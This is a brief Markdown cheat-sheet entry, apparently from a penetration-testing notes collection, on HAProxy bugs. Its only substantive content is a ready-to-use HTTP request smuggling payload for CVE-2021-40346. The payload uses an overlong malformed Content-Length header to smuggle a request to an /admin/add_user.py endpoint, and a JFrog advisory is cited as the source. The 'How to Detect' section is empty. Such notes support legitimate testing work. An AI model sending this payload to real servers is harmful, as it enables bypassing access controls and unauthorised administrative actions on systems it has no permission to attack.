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22 lines
700 B
Markdown
22 lines
700 B
Markdown
# HAProxy Common Bugs
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## Introduction
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What would you do if you came across a website that uses HAProxy?
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## How to Detect
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`-`
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1. CVE-2021-40346 (HTTP Request Smuggling)
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```
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POST /index.html HTTP/1.1
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Host: abc.com
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Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
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Content-Length: 60
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GET /admin/add_user.py HTTP/1.1
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Host: abc.com
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abc: xyz
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```
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Source:
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- [JFrog](https://jfrog.com/blog/critical-vulnerability-in-haproxy-cve-2021-40346-integer-overflow-enables-http-smuggling/) |